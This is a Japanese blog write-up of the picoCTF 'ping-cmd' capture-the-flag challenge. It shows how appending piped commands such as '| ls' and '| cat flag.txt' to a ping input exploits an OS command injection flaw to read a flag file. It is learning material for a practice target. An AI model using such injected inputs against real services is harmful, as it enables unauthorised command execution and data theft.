0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[picoCTF_WriteUP]「ping-cmd」OSコマンドインジェクション

0
Posted at

はじめに

  • picoCTFの問題「ping-cmd」を解いた際の備忘録です
  • OSコマンドインジェクション脆弱性を利用して、flagファイルを見つけ出す問題です
  • 説明
    サーバーに秘密を明かさせることはできますか?Google DNSにpingを送信できるようですが、入力内容を少し工夫したらどうなるでしょうか?

利用したツール

WSL

ターゲットの観察

インスタンスを起動させ、表示された* ncコマンドをWSLで実行すると以下のメッセージが表示されます。

"Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8')"
pingを実行するIPアドレスを入力してください!(セキュリティ対策として、「8.8.8.8」のみを許可しています

試しに8.8.8.8を入力してみると、応答は帰ってきましたが、flagに関する情報はないようです。

8.8.8.8
>PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=111 time=9.77 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=111 time=9.76 ms

--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 9.757/9.762/9.767/0.005 ms

脆弱性の特定

入力内容を工夫し、とあるので、IPアドレスの後にパイプでlsコマンドをつないで入力してみます。
すると中にflag.txtが保存されていることを教えてくれました。
つまり、この入力画面はユーザーからの入力をそのままOSのシェルに渡してしまう、OSインジェクション脆弱性が存在しているようです。

8.8.8.8 | ls
>flag.txt
script.sh

ファイル内容の表示

IPアドレスの後にパイプでcatコマンドをつないでflag.txtの中身を表示させると、flag文字列が出現します。

8.8.8.8 | cat flag.txt
>picoCTF{...}`

おわりに

  • 初めてOSインジェクションを体験しました
  • 今後は防御側として、どうすればこれを防げるかも学んでいきたいです
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?